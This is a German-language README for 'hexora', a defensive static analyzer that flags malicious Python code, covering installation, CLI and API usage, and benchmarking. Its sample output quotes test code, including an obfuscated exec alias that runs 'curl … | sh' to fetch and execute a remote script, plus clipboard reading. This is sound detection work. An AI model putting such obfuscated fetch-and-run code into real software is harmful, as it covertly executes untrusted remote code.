hexora

Hexora ist ein statisches Analysetool, das darauf ausgelegt ist, bösartige und schädliche Muster in Python-Code zu erkennen. Es kombiniert eine regelbasierte statische Analyse-Engine mit einem maschinell gelernten Modell, das gesamte Quelldateien bewertet, um sie als bösartig oder harmlos zu klassifizieren.

Es kann verwendet werden, um:

• Projektabhängigkeiten zu prüfen, um potenzielle Supply-Chain-Angriffe zu erkennen
• Bösartige Skripte zu erkennen, die auf Plattformen wie Pastebin, GitHub oder offenen Verzeichnissen gefunden werden
• IoC-Dateien aus vergangenen Sicherheitsvorfällen zu analysieren
• Neue Pakete zu prüfen, die auf PyPI hochgeladen werden.

Beispiele

Für Ausgabebeispiele siehe bitte die Datei docs/examples.md.

Installation

Mit Python

Erfordert Python 3.9+.

pip install hexora

Mit uv:

uv tool install hexora

Verwendung

hexora --help

Einzelne Datei prüfen

>  hexora audit test.py

warning[HX2000]: Reading from the clipboard can be used to exfiltrate sensitive data.
  ┌─ resources/test/test.py:3:8
  │
1 │ import pyperclip
2 │
3 │ data = pyperclip.paste()
  │        ^^^^^^^^^^^^^^^^^ HX2000
  │
  = Confidence: High
    Help: Clipboard access can be used to exfiltrate sensitive data such as passwords and keys.
    Machine learning based score for file: 0.93

warning[HX3000]: Possible execution of unwanted code
   ┌─ resources/test/test.py:20:1
   │
19 │ (_ceil, _random, Math,), Run, (Floor, _frame, _divide) = (exec, str, tuple), map, (ord, globals, eval)
20 │ _ceil("import subprocess;subprocess.call(['curl -fsSL https://example.com/b.sh | sh'])")
   │ ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ HX3000
   │

Verzeichnis prüfen

hexora audit --output-format terminal resources/test/

Pakete aus der virtuellen Umgebung prüfen

hexora audit --exclude HX5020,HX5030,HX5040,HX5050,HX5060 --min-confidence high .venv/lib/python3.11/site-packages/

Wobei python3.11 die Version des Python in der virtuellen Umgebung ist.

Tipps:

• Verwenden Sie --exclude, um bestimmte Regelcodes (z. B. laute Importe) für einen bestimmten Durchlauf zu unterdrücken.
• Verwenden Sie --min-confidence, um sich nur auf Ergebnisse mit hoher Konfidenz zu konzentrieren.

Konfidenz gibt an, wie sicher ein bestimmtes Code-Stück bösartig ist. Manche Bibliotheken oder Code-Snippets werden zu legitimen Zwecken verwendet, und es ist schwer, legitime Anwendungsfälle von bösartigen zu unterscheiden. Deshalb haben einige Übereinstimmungen eine niedrige Konfidenzstufe.

Einige Regeln können unterschiedliche Konfidenzstufen haben. Vermeiden Sie es, viele Regeln nach Codes zu filtern, es sei denn, Sie sind sich sehr sicher. Beispielsweise können Code- und Shell-Ausführung mittlere, hohe und sehr hohe Konfidenz haben. Dies hängt davon ab, wie der Code ausgeführt wurde. Wenn wir einen Verschleierungsversuch erkennen, erhöhen wir die Konfidenz.

Zum Beispiel hat dieser Code eine hohe Konfidenz:

globals()["__builtins__"].eval("print(123)")

Verwendung in Python

>>> import hexora
>>> results = hexora.audit_path("/Projects/hexora/resources/test/")
>>> len(results)
15
>>> results[0]
{'items': [{'confidence': 'low',
            'description': 'pyperclip can be used to copy and paste data from '
                           'the clipboard.',
            'label': 'pyperclip',
            'location': (7, 16),
            'rule': 'HX5010'},
           {'confidence': 'high',
            'description': 'Reading from the clipboard can be used to '
                           'exfiltrate sensitive data.',
            'label': 'pyperclip.paste',
            'location': (25, 42),
            'rule': 'HX2000'}],
 'path': '/Projects/hexora/resources/test/clipboard_01.py'}
>>> # Single file audit
>>> result = hexora.audit_file("/Projects/hexora/resources/test/clipboard_01.py")
>>> ...

Testen gegen bösartige Datensätze

Beim Entwickeln neuer Regeln können Sie vorhandene bösartige Datensätze wie malicious-software-packages-dataset verwenden.

Nach dem Klonen zeigen Sie das Benchmarking-Tool auf das Datensatzverzeichnis:

cargo run --release benchmark malicious-software-packages-dataset/samples/pypi/ --print-missing --exclude-path data/excluded.txt  --min-confidence high

Verfügbare Regeln

Regelmäßig werden neue Regeln hinzugefügt.

Derzeit sind folgende Regeln verfügbar:

Danksagungen

Für das Parsen verwenden wir den AST-Parser aus der ruff-Bibliothek.